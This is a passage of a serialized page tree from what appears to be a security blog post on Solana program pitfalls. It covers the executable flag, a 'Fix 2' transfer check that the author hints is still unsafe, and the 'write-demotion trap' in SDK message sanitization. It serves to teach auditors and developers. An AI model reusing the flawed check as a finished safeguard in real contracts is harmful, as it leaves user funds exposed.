programdata_address",{"type":23,"tag":41,"props":73788,"children":73789},{"style":170},[73790],{"type":28,"value":1474},{"type":23,"tag":41,"props":73792,"children":73793},{"style":94},[73794],{"type":28,"value":20844},{"type":23,"tag":41,"props":73796,"children":73797},{"style":70},[73798],{"type":28,"value":3506},{"type":23,"tag":41,"props":73800,"children":73801},{"class":43,"line":85},[73802],{"type":23,"tag":41,"props":73803,"children":73804},{"style":70},[73805],{"type":28,"value":73806},"},\n",{"type":23,"tag":41,"props":73808,"children":73809},{"class":43,"line":105},[73810,73815],{"type":23,"tag":41,"props":73811,"children":73812},{"style":94},[73813],{"type":28,"value":73814},"ProgramData",{"type":23,"tag":41,"props":73816,"children":73817},{"style":70},[73818],{"type":28,"value":102},{"type":23,"tag":41,"props":73820,"children":73821},{"class":43,"line":155},[73822],{"type":23,"tag":41,"props":73823,"children":73824},{"style":48},[73825],{"type":28,"value":73826},"    /// Slot that the program was last modified.\n",{"type":23,"tag":41,"props":73828,"children":73829},{"class":43,"line":186},[73830,73835,73839,73843],{"type":23,"tag":41,"props":73831,"children":73832},{"style":858},[73833],{"type":28,"value":73834},"    slot",{"type":23,"tag":41,"props":73836,"children":73837},{"style":170},[73838],{"type":28,"value":1474},{"type":23,"tag":41,"props":73840,"children":73841},{"style":94},[73842],{"type":28,"value":5860},{"type":23,"tag":41,"props":73844,"children":73845},{"style":70},[73846],{"type":28,"value":3506},{"type":23,"tag":41,"props":73848,"children":73849},{"class":43,"line":195},[73850],{"type":23,"tag":41,"props":73851,"children":73852},{"style":48},[73853],{"type":28,"value":73854},"    /// Address of the Program's upgrade authority.\n",{"type":23,"tag":41,"props":73856,"children":73857},{"class":43,"line":905},[73858,73863,73867,73871,73875,73879],{"type":23,"tag":41,"props":73859,"children":73860},{"style":858},[73861],{"type":28,"value":73862},"    upgrade_authority_address",{"type":23,"tag":41,"props":73864,"children":73865},{"style":170},[73866],{"type":28,"value":1474},{"type":23,"tag":41,"props":73868,"children":73869},{"style":94},[73870],{"type":28,"value":27645},{"type":23,"tag":41,"props":73872,"children":73873},{"style":70},[73874],{"type":28,"value":1012},{"type":23,"tag":41,"props":73876,"children":73877},{"style":94},[73878],{"type":28,"value":21385},{"type":23,"tag":41,"props":73880,"children":73881},{"style":70},[73882],{"type":28,"value":6136},{"type":23,"tag":41,"props":73884,"children":73885},{"class":43,"line":922},[73886],{"type":23,"tag":41,"props":73887,"children":73888},{"style":48},[73889],{"type":28,"value":73890},"    // The raw program data follows this serialized structure in the\n",{"type":23,"tag":41,"props":73892,"children":73893},{"class":43,"line":930},[73894],{"type":23,"tag":41,"props":73895,"children":73896},{"style":48},[73897],{"type":28,"value":73898},"    // account's data.\n",{"type":23,"tag":41,"props":73900,"children":73901},{"class":43,"line":939},[73902],{"type":23,"tag":41,"props":73903,"children":73904},{"style":70},[73905],{"type":28,"value":73806},{"type":23,"tag":24,"props":73907,"children":73908},{},[73909,73911,73918],{"type":28,"value":73910},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":458,"props":73912,"children":73915},{"href":73913,"rel":73914},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[462],[73916],{"type":28,"value":73917},"SIMD-0162",{"type":28,"value":73919},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":24,"props":73921,"children":73922},{},[73923,73925,73930,73932,73937],{"type":28,"value":73924},"This change is also a ",{"type":23,"tag":510,"props":73926,"children":73927},{},[73928],{"type":28,"value":73929},"hard requirement for supporting the new loader-v4",{"type":28,"value":73931},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":37,"props":73933,"children":73935},{"className":73934},[],[73936],{"type":28,"value":73814},{"type":28,"value":73938}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":24,"props":73940,"children":73941},{},[73942,73944,73951,73953,73958],{"type":28,"value":73943},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":458,"props":73945,"children":73948},{"href":73946,"rel":73947},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[462],[73949],{"type":28,"value":73950},"migrate",{"type":28,"value":73952}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":37,"props":73954,"children":73956},{"className":73955},[],[73957],{"type":28,"value":73391},{"type":28,"value":73959}," restriction.",{"type":23,"tag":18881,"props":73961,"children":73963},{"id":73962},"fix-2-reject-program-accounts",[73964],{"type":28,"value":73965},"Fix 2: Reject Program Accounts",{"type":23,"tag":24,"props":73967,"children":73968},{},[73969],{"type":28,"value":73970},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":31,"props":73972,"children":73974},{"className":2982,"code":73973,"language":2981,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[73975],{"type":23,"tag":37,"props":73976,"children":73977},{"__ignoreMap":7},[73978,74054,74102,74118,74125,74164,74208,74232,74281,74309],{"type":23,"tag":41,"props":73979,"children":73980},{"class":43,"line":44},[73981,73985,73989,73994,73998,74002,74006,74010,74014,74018,74022,74026,74030,74034,74038,74042,74046,74050],{"type":23,"tag":41,"props":73982,"children":73983},{"style":64},[73984],{"type":28,"value":13685},{"type":23,"tag":41,"props":73986,"children":73987},{"style":64},[73988],{"type":28,"value":13690},{"type":23,"tag":41,"props":73990,"children":73991},{"style":114},[73992],{"type":28,"value":73993}," can_transfer_lamports",{"type":23,"tag":41,"props":73995,"children":73996},{"style":70},[73997],{"type":28,"value":1737},{"type":23,"tag":41,"props":73999,"children":74000},{"style":858},[74001],{"type":28,"value":12948},{"type":23,"tag":41,"props":74003,"children":74004},{"style":170},[74005],{"type":28,"value":1474},{"type":23,"tag":41,"props":74007,"children":74008},{"style":170},[74009],{"type":28,"value":7140},{"type":23,"tag":41,"props":74011,"children":74012},{"style":94},[74013],{"type":28,"value":14930},{"type":23,"tag":41,"props":74015,"children":74016},{"style":70},[74017],{"type":28,"value":970},{"type":23,"tag":41,"props":74019,"children":74020},{"style":858},[74021],{"type":28,"value":15503},{"type":23,"tag":41,"props":74023,"children":74024},{"style":170},[74025],{"type":28,"value":1474},{"type":23,"tag":41,"props":74027,"children":74028},{"style":94},[74029],{"type":28,"value":5860},{"type":23,"tag":41,"props":74031,"children":74032},{"style":70},[74033],{"type":28,"value":866},{"type":23,"tag":41,"props":74035,"children":74036},{"style":170},[74037],{"type":28,"value":2453},{"type":23,"tag":41,"props":74039,"children":74040},{"style":94},[74041],{"type":28,"value":13756},{"type":23,"tag":41,"props":74043,"children":74044},{"style":70},[74045],{"type":28,"value":1012},{"type":23,"tag":41,"props":74047,"children":74048},{"style":94},[74049],{"type":28,"value":991},{"type":23,"tag":41,"props":74051,"children":74052},{"style":70},[74053],{"type":28,"value":7280},{"type":23,"tag":41,"props":74055,"children":74056},{"class":43,"line":54},[74057,74061,74066,74070,74074,74078,74082,74086,74090,74094,74098],{"type":23,"tag":41,"props":74058,"children":74059},{"style":64},[74060],{"type":28,"value":20255},{"type":23,"tag":41,"props":74062,"children":74063},{"style":114},[74064],{"type":28,"value":74065}," is_program",{"type":23,"tag":41,"props":74067,"children":74068},{"style":70},[74069],{"type":28,"value":1737},{"type":23,"tag":41,"props":74071,"children":74072},{"style":858},[74073],{"type":28,"value":12948},{"type":23,"tag":41,"props":74075,"children":74076},{"style":170},[74077],{"type":28,"value":1474},{"type":23,"tag":41,"props":74079,"children":74080},{"style":170},[74081],{"type":28,"value":7140},{"type":23,"tag":41,"props":74083,"children":74084},{"style":94},[74085],{"type":28,"value":14930},{"type":23,"tag":41,"props":74087,"children":74088},{"style":70},[74089],{"type":28,"value":866},{"type":23,"tag":41,"props":74091,"children":74092},{"style":170},[74093],{"type":28,"value":2453},{"type":23,"tag":41,"props":74095,"children":74096},{"style":94},[74097],{"type":28,"value":12047},{"type":23,"tag":41,"props":74099,"children":74100},{"style":70},[74101],{"type":28,"value":102},{"type":23,"tag":41,"props":74103,"children":74104},{"class":43,"line":76},[74105,74109,74113],{"type":23,"tag":41,"props":74106,"children":74107},{"style":858},[74108],{"type":28,"value":25170},{"type":23,"tag":41,"props":74110,"children":74111},{"style":170},[74112],{"type":28,"value":706},{"type":23,"tag":41,"props":74114,"children":74115},{"style":70},[74116],{"type":28,"value":74117},"executable\n",{"type":23,"tag":41,"props":74119,"children":74120},{"class":43,"line":85},[74121],{"type":23,"tag":41,"props":74122,"children":74123},{"style":70},[74124],{"type":28,"value":201},{"type":23,"tag":41,"props":74126,"children":74127},{"class":43,"line":105},[74128,74132,74136,74140,74144,74148,74152,74156,74160],{"type":23,"tag":41,"props":74129,"children":74130},{"style":64},[74131],{"type":28,"value":11784},{"type":23,"tag":41,"props":74133,"children":74134},{"style":858},[74135],{"type":28,"value":72886},{"type":23,"tag":41,"props":74137,"children":74138},{"style":170},[74139],{"type":28,"value":3017},{"type":23,"tag":41,"props":74141,"children":74142},{"style":94},[74143],{"type":28,"value":43463},{"type":23,"tag":41,"props":74145,"children":74146},{"style":170},[74147],{"type":28,"value":3479},{"type":23,"tag":41,"props":74149,"children":74150},{"style":114},[74151],{"type":28,"value":16340},{"type":23,"tag":41,"props":74153,"children":74154},{"style":70},[74155],{"type":28,"value":13873},{"type":23,"tag":41,"props":74157,"children":74158},{"style":170},[74159],{"type":28,"value":3155},{"type":23,"tag":41,"props":74161,"children":74162},{"style":70},[74163],{"type":28,"value":183},{"type":23,"tag":41,"props":74165,"children":74166},{"class":43,"line":155},[74167,74171,74176,74180,74184,74188,74192,74196,74200,74204],{"type":23,"tag":41,"props":74168,"children":74169},{"style":64},[74170],{"type":28,"value":11784},{"type":23,"tag":41,"props":74172,"children":74173},{"style":858},[74174],{"type":28,"value":74175}," balance_after",{"type":23,"tag":41,"props":74177,"children":74178},{"style":170},[74179],{"type":28,"value":3017},{"type":23,"tag":41,"props":74181,"children":74182},{"style":858},[74183],{"type":28,"value":5482},{"type":23,"tag":41,"props":74185,"children":74186},{"style":170},[74187],{"type":28,"value":706},{"type":23,"tag":41,"props":74189,"children":74190},{"style":114},[74191],{"type":28,"value":15503},{"type":23,"tag":41,"props":74193,"children":74194},{"style":70},[74195],{"type":28,"value":122},{"type":23,"tag":41,"props":74197,"children":74198},{"style":170},[74199],{"type":28,"value":4383},{"type":23,"tag":41,"props":74201,"children":74202},{"style":858},[74203],{"type":28,"value":73196},{"type":23,"tag":41,"props":74205,"children":74206},{"style":70},[74207],{"type":28,"value":183},{"type":23,"tag":41,"props":74209,"children":74210},{"class":43,"line":186},[74211,74215,74219,74223,74227],{"type":23,"tag":41,"props":74212,"children":74213},{"style":94},[74214],{"type":28,"value":20477},{"type":23,"tag":41,"props":74216,"children":74217},{"style":70},[74218],{"type":28,"value":1737},{"type":23,"tag":41,"props":74220,"children":74221},{"style":858},[74222],{"type":28,"value":12948},{"type":23,"tag":41,"props":74224,"children":74225},{"style":170},[74226],{"type":28,"value":706},{"type":23,"tag":41,"props":74228,"children":74229},{"style":70},[74230],{"type":28,"value":74231},"is_writable\n",{"type":23,"tag":41,"props":74233,"children":74234},{"class":43,"line":195},[74235,74239,74243,74247,74252,74256,74261,74265,74269,74273,74277],{"type":23,"tag":41,"props":74236,"children":74237},{"style":170},[74238],{"type":28,"value":15612},{"type":23,"tag":41,"props":74240,"children":74241},{"style":858},[74242],{"type":28,"value":72886},{"type":23,"tag":41,"props":74244,"children":74245},{"style":170},[74246],{"type":28,"value":706},{"type":23,"tag":41,"props":74248,"children":74249},{"style":114},[74250],{"type":28,"value":74251},"is_exempt",{"type":23,"tag":41,"props":74253,"children":74254},{"style":70},[74255],{"type":28,"value":1737},{"type":23,"tag":41,"props":74257,"children":74258},{"style":858},[74259],{"type":28,"value":74260},"balance_after",{"type":23,"tag":41,"props":74262,"children":74263},{"style":70},[74264],{"type":28,"value":970},{"type":23,"tag":41,"props":74266,"children":74267},{"style":858},[74268],{"type":28,"value":12948},{"type":23,"tag":41,"props":74270,"children":74271},{"style":170},[74272],{"type":28,"value":706},{"type":23,"tag":41,"props":74274,"children":74275},{"style":114},[74276],{"type":28,"value":13800},{"type":23,"tag":41,"props":74278,"children":74279},{"style":70},[74280],{"type":28,"value":15651},{"type":23,"tag":41,"props":74282,"children":74283},{"class":43,"line":905},[74284,74288,74292,74297,74301,74305],{"type":23,"tag":41,"props":74285,"children":74286},{"style":170},[74287],{"type":28,"value":15612},{"type":23,"tag":41,"props":74289,"children":74290},{"style":170},[74291],{"type":28,"value":12859},{"type":23,"tag":41,"props":74293,"children":74294},{"style":114},[74295],{"type":28,"value":74296},"is_program",{"type":23,"tag":41,"props":74298,"children":74299},{"style":70},[74300],{"type":28,"value":1737},{"type":23,"tag":41,"props":74302,"children":74303},{"style":858},[74304],{"type":28,"value":12948},{"type":23,"tag":41,"props":74306,"children":74307},{"style":70},[74308],{"type":28,"value":19700},{"type":23,"tag":41,"props":74310,"children":74311},{"class":43,"line":922},[74312],{"type":23,"tag":41,"props":74313,"children":74314},{"style":70},[74315],{"type":28,"value":201},{"type":23,"tag":24,"props":74317,"children":74318},{},[74319],{"type":28,"value":74320},"Now we’re safe...right?",{"type":23,"tag":546,"props":74322,"children":74324},{"id":74323},"bug-3-the-write-demotion-trap",[74325],{"type":28,"value":74326},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":24,"props":74328,"children":74329},{},[74330,74332,74337,74339,74344],{"type":28,"value":74331},"On Solana, accounts passed as ",{"type":23,"tag":510,"props":74333,"children":74334},{},[74335],{"type":28,"value":74336},"writable",{"type":28,"value":74338}," in a transaction can be ",{"type":23,"tag":510,"props":74340,"children":74341},{},[74342],{"type":28,"value":74343},"silently downgraded to read-only",{"type":28,"value":74345},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":24,"props":74347,"children":74348},{},[74349,74351,74358],{"type":28,"value":74350},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":458,"props":74352,"children":74355},{"href":74353,"rel":74354},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[462],[74356],{"type":28,"value":74357},"MessageV0",{"type":28,"value":74359},", but legacy is simpler to follow):",{"type":23,"tag":31,"props":74361,"children":74363},{"className":2982,"code":74362,"language":2981,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[74364],{"type":23,"tag":37,"props":74365,"children":74366},{"__ignoreMap":7},[74367,74375,74399,74487,74508,74520,74536,74552,74600,74629,74683,74719,74727,74764,74776,74814,74826,74833,74840,74847,74854,74862,74922,74975],{"type":23,"tag":41,"props":74368,"children":74369},{"class":43,"line":44},[74370],{"type":23,"tag":41,"props":74371,"children":74372},{"style":48},[74373],{"type":28,"value":74374},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":41,"props":74376,"children":74377},{"class":43,"line":54},[74378,74382,74387,74391,74395],{"type":23,"tag":41,"props":74379,"children":74380},{"style":64},[74381],{"type":28,"value":28194},{"type":23,"tag":41,"props":74383,"children":74384},{"style":94},[74385],{"type":28,"value":74386}," LegacyMessage",{"type":23,"tag":41,"props":74388,"children":74389},{"style":70},[74390],{"type":28,"value":22909},{"type":23,"tag":41,"props":74392,"children":74393},{"style":94},[74394],{"type":28,"value":3084},{"type":23,"tag":41,"props":74396,"children":74397},{"style":70},[74398],{"type":28,"value":7280},{"type":23,"tag":41,"props":74400,"children":74401},{"class":43,"line":76},[74402,74406,74410,74414,74418,74422,74426,74431,74435,74440,74444,74449,74453,74457,74462,74466,74470,74474,74478,74483],{"type":23,"tag":41,"props":74403,"children":74404},{"style":64},[74405],{"type":28,"value":20830},{"type":23,"tag":41,"props":74407,"children":74408},{"style":64},[74409],{"type":28,"value":13690},{"type":23,"tag":41,"props":74411,"children":74412},{"style":114},[74413],{"type":28,"value":31927},{"type":23,"tag":41,"props":74415,"children":74416},{"style":70},[74417],{"type":28,"value":1737},{"type":23,"tag":41,"props":74419,"children":74420},{"style":858},[74421],{"type":28,"value":68032},{"type":23,"tag":41,"props":74423,"children":74424},{"style":170},[74425],{"type":28,"value":1474},{"type":23,"tag":41,"props":74427,"children":74428},{"style":70},[74429],{"type":28,"value":74430}," legacy",{"type":23,"tag":41,"props":74432,"children":74433},{"style":170},[74434],{"type":28,"value":3479},{"type":23,"tag":41,"props":74436,"children":74437},{"style":94},[74438],{"type":28,"value":74439},"Message",{"type":23,"tag":41,"props":74441,"children":74442},{"style":70},[74443],{"type":28,"value":970},{"type":23,"tag":41,"props":74445,"children":74446},{"style":858},[74447],{"type":28,"value":74448},"reserved_account_keys",{"type":23,"tag":41,"props":74450,"children":74451},{"style":170},[74452],{"type":28,"value":1474},{"type":23,"tag":41,"props":74454,"children":74455},{"style":170},[74456],{"type":28,"value":7140},{"type":23,"tag":41,"props":74458,"children":74459},{"style":94},[74460],{"type":28,"value":74461},"HashSet",{"type":23,"tag":41,"props":74463,"children":74464},{"style":70},[74465],{"type":28,"value":1012},{"type":23,"tag":41,"props":74467,"children":74468},{"style":94},[74469],{"type":28,"value":21385},{"type":23,"tag":41,"props":74471,"children":74472},{"style":70},[74473],{"type":28,"value":20434},{"type":23,"tag":41,"props":74475,"children":74476},{"style":170},[74477],{"type":28,"value":2453},{"type":23,"tag":41,"props":74479,"children":74480},{"style":64},[74481],{"type":28,"value":74482}," Self",{"type":23,"tag":41,"props":74484,"children":74485},{"style":70},[74486],{"type":28,"value":102},{"type":23,"tag":41,"props":74488,"children":74489},{"class":43,"line":85},[74490,74494,74499,74503],{"type":23,"tag":41,"props":74491,"children":74492},{"style":64},[74493],{"type":28,"value":3066},{"type":23,"tag":41,"props":74495,"children":74496},{"style":858},[74497],{"type":28,"value":74498}," is_writable_account_cache",{"type":23,"tag":41,"props":74500,"children":74501},{"style":170},[74502],{"type":28,"value":3017},{"type":23,"tag":41,"props":74504,"children":74505},{"style":858},[74506],{"type":28,"value":74507}," message\n",{"type":23,"tag":41,"props":74509,"children":74510},{"class":43,"line":105},[74511,74515],{"type":23,"tag":41,"props":74512,"children":74513},{"style":170},[74514],{"type":28,"value":3167},{"type":23,"tag":41,"props":74516,"children":74517},{"style":70},[74518],{"type":28,"value":74519},"account_keys\n",{"type":23,"tag":41,"props":74521,"children":74522},{"class":43,"line":155},[74523,74527,74532],{"type":23,"tag":41,"props":74524,"children":74525},{"style":170},[74526],{"type":28,"value":3167},{"type":23,"tag":41,"props":74528,"children":74529},{"style":114},[74530],{"type":28,"value":74531},"iter",{"type":23,"tag":41,"props":74533,"children":74534},{"style":70},[74535],{"type":28,"value":7735},{"type":23,"tag":41,"props":74537,"children":74538},{"class":43,"line":186},[74539,74543,74548],{"type":23,"tag":41,"props":74540,"children":74541},{"style":170},[74542],{"type":28,"value":3167},{"type":23,"tag":41,"props":74544,"children":74545},{"style":114},[74546],{"type":28,"value":74547},"enumerate",{"type":23,"tag":41,"props":74549,"children":74550},{"style":70},[74551],{"type":28,"value":7735},{"type":23,"tag":41,"props":74553,"children":74554},{"class":43,"line":195},[74555,74559,74563,74567,74571,74575,74579,74583,74588,74592,74596],{"type":23,"tag":41,"props":74556,"children":74557},{"style":170},[74558],{"type":28,"value":3167},{"type":23,"tag":41,"props":74560,"children":74561},{"style":114},[74562],{"type":28,"value":67097},{"type":23,"tag":41,"props":74564,"children":74565},{"style":70},[74566],{"type":28,"value":1737},{"type":23,"tag":41,"props":74568,"children":74569},{"style":170},[74570],{"type":28,"value":10414},{"type":23,"tag":41,"props":74572,"children":74573},{"style":70},[74574],{"type":28,"value":1737},{"type":23,"tag":41,"props":74576,"children":74577},{"style":858},[74578],{"type":28,"value":3737},{"type":23,"tag":41,"props":74580,"children":74581},{"style":70},[74582],{"type":28,"value":970},{"type":23,"tag":41,"props":74584,"children":74585},{"style":858},[74586],{"type":28,"value":74587},"_key",{"type":23,"tag":41,"props":74589,"children":74590},{"style":70},[74591],{"type":28,"value":2678},{"type":23,"tag":41,"props":74593,"children":74594},{"style":170},[74595],{"type":28,"value":10414},{"type":23,"tag":41,"props":74597,"children":74598},{"style":70},[74599],{"type":28,"value":102},{"type":23,"tag":41,"props":74601,"children":74602},{"class":43,"line":905},[74603,74608,74612,74617,74621,74625],{"type":23,"tag":41,"props":74604,"children":74605},{"style":858},[74606],{"type":28,"value":74607},"                message",{"type":23,"tag":41,"props":74609,"children":74610},{"style":170},[74611],{"type":28,"value":706},{"type":23,"tag":41,"props":74613,"children":74614},{"style":114},[74615],{"type":28,"value":74616},"is_writable_index",{"type":23,"tag":41,"props":74618,"children":74619},{"style":70},[74620],{"type":28,"value":1737},{"type":23,"tag":41,"props":74622,"children":74623},{"style":858},[74624],{"type":28,"value":3737},{"type":23,"tag":41,"props":74626,"children":74627},{"style":70},[74628],{"type":28,"value":1969},{"type":23,"tag":41,"props":74630,"children":74631},{"class":43,"line":922},[74632,74637,74641,74645,74649,74654,74658,74662,74666,74670,74675,74679],{"type":23,"tag":41,"props":74633,"children":74634},{"style":170},[74635],{"type":28,"value":74636},"                    &&",{"type":23,"tag":41,"props":74638,"children":74639},{"style":170},[74640],{"type":28,"value":12859},{"type":23,"tag":41,"props":74642,"children":74643},{"style":858},[74644],{"type":28,"value":74448},{"type":23,"tag":41,"props":74646,"children":74647},{"style":170},[74648],{"type":28,"value":706},{"type":23,"tag":41,"props":74650,"children":74651},{"style":114},[74652],{"type":28,"value":74653},"contains",{"type":23,"tag":41,"props":74655,"children":74656},{"style":70},[74657],{"type":28,"value":1737},{"type":23,"tag":41,"props":74659,"children":74660},{"style":170},[74661],{"type":28,"value":855},{"type":23,"tag":41,"props":74663,"children":74664},{"style":858},[74665],{"type":28,"value":68032},{"type":23,"tag":41,"props":74667,"children":74668},{"style":170},[74669],{"type":28,"value":706},{"type":23,"tag":41,"props":74671,"children":74672},{"style":70},[74673],{"type":28,"value":74674},"account_keys[",{"type":23,"tag":41,"props":74676,"children":74677},{"style":858},[74678],{"type":28,"value":3737},{"type":23,"tag":41,"props":74680,"children":74681},{"style":70},[74682],{"type":28,"value":55436},{"type":23,"tag":41,"props":74684,"children":74685},{"class":43,"line":930},[74686,74690,74694,74698,74702,74707,74711,74715],{"type":23,"tag":41,"props":74687,"children":74688},{"style":170},[74689],{"type":28,"value":74636},{"type":23,"tag":41,"props":74691,"children":74692},{"style":170},[74693],{"type":28,"value":12859},{"type":23,"tag":41,"props":74695,"children":74696},{"style":858},[74697],{"type":28,"value":68032},{"type":23,"tag":41,"props":74699,"children":74700},{"style":170},[74701],{"type":28,"value":706},{"type":23,"tag":41,"props":74703,"children":74704},{"style":114},[74705],{"type":28,"value":74706},"demote_program_id",{"type":23,"tag":41,"props":74708,"children":74709},{"style":70},[74710],{"type":28,"value":1737},{"type":23,"tag":41,"props":74712,"children":74713},{"style":858},[74714],{"type":28,"value":3737},{"type":23,"tag":41,"props":74716,"children":74717},{"style":70},[74718],{"type":28,"value":1969},{"type":23,"tag":41,"props":74720,"children":74721},{"class":43,"line":939},[74722],{"type":23,"tag":41,"props":74723,"children":74724},{"style":70},[74725],{"type":28,"value":74726},"            })\n",{"type":23,"tag":41,"props":74728,"children":74729},{"class":43,"line":947},[74730,74734,74739,74743,74747,74751,74755,74759],{"type":23,"tag":41,"props":74731,"children":74732},{"style":170},[74733],{"type":28,"value":3167},{"type":23,"tag":41,"props":74735,"children":74736},{"style":114},[74737],{"type":28,"value":74738},"collect",{"type":23,"tag":41,"props":74740,"children":74741},{"style":170},[74742],{"type":28,"value":3479},{"type":23,"tag":41,"props":74744,"children":74745},{"style":70},[74746],{"type":28,"value":1012},{"type":23,"tag":41,"props":74748,"children":74749},{"style":94},[74750],{"type":28,"value":17197},{"type":23,"tag":41,"props":74752,"children":74753},{"style":70},[74754],{"type":28,"value":1012},{"type":23,"tag":41,"props":74756,"children":74757},{"style":858},[74758],{"type":28,"value":3084},{"type":23,"tag":41,"props":74760,"children":74761},{"style":70},[74762],{"type":28,"value":74763},">>();\n",{"type":23,"tag":41,"props":74765,"children":74766},{"class":43,"line":985},[74767,74772],{"type":23,"tag":41,"props":74768,"children":74769},{"style":64},[74770],{"type":28,"value":74771},"        Self",{"type":23,"tag":41,"props":74773,"children":74774},{"style":70},[74775],{"type":28,"value":102},{"type":23,"tag":41,"props":74777,"children":74778},{"class":43,"line":1058},[74779,74784,74788,74793,74797,74802,74806,74810],{"type":23,"tag":41,"props":74780,"children":74781},{"style":858},[74782],{"type":28,"value":74783},"            message",{"type":23,"tag":41,"props":74785,"children":74786},{"style":170},[74787],{"type":28,"value":1474},{"type":23,"tag":41,"props":74789,"children":74790},{"style":94},[74791],{"type":28,"value":74792}," Cow",{"type":23,"tag":41,"props":74794,"children":74795},{"style":170},[74796],{"type":28,"value":3479},{"type":23,"tag":41,"props":74798,"children":74799},{"style":114},[74800],{"type":28,"value":74801},"Owned",{"type":23,"tag":41,"props":74803,"children":74804},{"style":70},[74805],{"type":28,"value":1737},{"type":23,"tag":41,"props":74807,"children":74808},{"style":858},[74809],{"type":28,"value":68032},{"type":23,"tag":41,"props":74811,"children":74812},{"style":70},[74813],{"type":28,"value":6735},{"type":23,"tag":41,"props":74815,"children":74816},{"class":43,"line":1084},[74817,74822],{"type":23,"tag":41,"props":74818,"children":74819},{"style":858},[74820],{"type":28,"value":74821},"            is_writable_account_cache",{"type":23,"tag":41,"props":74823,"children":74824},{"style":70},[74825],{"type":28,"value":3506},{"type":23,"tag":41,"props":74827,"children":74828},{"class":43,"line":1102},[74829],{"type":23,"tag":41,"props":74830,"children":74831},{"style":70},[74832],{"type":28,"value":3347},{"type":23,"tag":41,"props":74834,"children":74835},{"class":43,"line":1110},[74836],{"type":23,"tag":41,"props":74837,"children":74838},{"style":70},[74839],{"type":28,"value":192},{"type":23,"tag":41,"props":74841,"children":74842},{"class":43,"line":1118},[74843],{"type":23,"tag":41,"props":74844,"children":74845},{"style":70},[74846],{"type":28,"value":201},{"type":23,"tag":41,"props":74848,"children":74849},{"class":43,"line":1137},[74850],{"type":23,"tag":41,"props":74851,"children":74852},{"emptyLinePlaceholder":18},[74853],{"type":28,"value":82},{"type":23,"tag":41,"props":74855,"children":74856},{"class":43,"line":1163},[74857],{"type":23,"tag":41,"props":74858,"children":74859},{"style":48},[74860],{"type":28,"value":74861},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":41,"props":74863,"children":74864},{"class":43,"line":1188},[74865,74869,74873,74878,74882,74886,74890,74894,74898,74902,74906,74910,74914,74918],{"type":23,"tag":41,"props":74866,"children":74867},{"style":64},[74868],{"type":28,"value":13685},{"type":23,"tag":41,"props":74870,"children":74871},{"style":64},[74872],{"type":28,"value":13690},{"type":23,"tag":41,"props":74874,"children":74875},{"style":114},[74876],{"type":28,"value":74877}," demote_program_id",{"type":23,"tag":41,"props":74879,"children":74880},{"style":70},[74881],{"type":28,"value":1737},{"type":23,"tag":41,"props":74883,"children":74884},{"style":170},[74885],{"type":28,"value":855},{"type":23,"tag":41,"props":74887,"children":74888},{"style":64},[74889],{"type":28,"value":13708},{"type":23,"tag":41,"props":74891,"children":74892},{"style":70},[74893],{"type":28,"value":970},{"type":23,"tag":41,"props":74895,"children":74896},{"style":858},[74897],{"type":28,"value":3737},{"type":23,"tag":41,"props":74899,"children":74900},{"style":170},[74901],{"type":28,"value":1474},{"type":23,"tag":41,"props":74903,"children":74904},{"style":94},[74905],{"type":28,"value":13726},{"type":23,"tag":41,"props":74907,"children":74908},{"style":70},[74909],{"type":28,"value":866},{"type":23,"tag":41,"props":74911,"children":74912},{"style":170},[74913],{"type":28,"value":2453},{"type":23,"tag":41,"props":74915,"children":74916},{"style":94},[74917],{"type":28,"value":12047},{"type":23,"tag":41,"props":74919,"children":74920},{"style":70},[74921],{"type":28,"value":102},{"type":23,"tag":41,"props":74923,"children":74924},{"class":43,"line":1979},[74925,74929,74933,74938,74942,74946,74950,74954,74958,74962,74966,74971],{"type":23,"tag":41,"props":74926,"children":74927},{"style":64},[74928],{"type":28,"value":20773},{"type":23,"tag":41,"props":74930,"children":74931},{"style":170},[74932],{"type":28,"value":706},{"type":23,"tag":41,"props":74934,"children":74935},{"style":114},[74936],{"type":28,"value":74937},"is_key_called_as_program",{"type":23,"tag":41,"props":74939,"children":74940},{"style":70},[74941],{"type":28,"value":1737},{"type":23,"tag":41,"props":74943,"children":74944},{"style":858},[74945],{"type":28,"value":3737},{"type":23,"tag":41,"props":74947,"children":74948},{"style":70},[74949],{"type":28,"value":866},{"type":23,"tag":41,"props":74951,"children":74952},{"style":170},[74953],{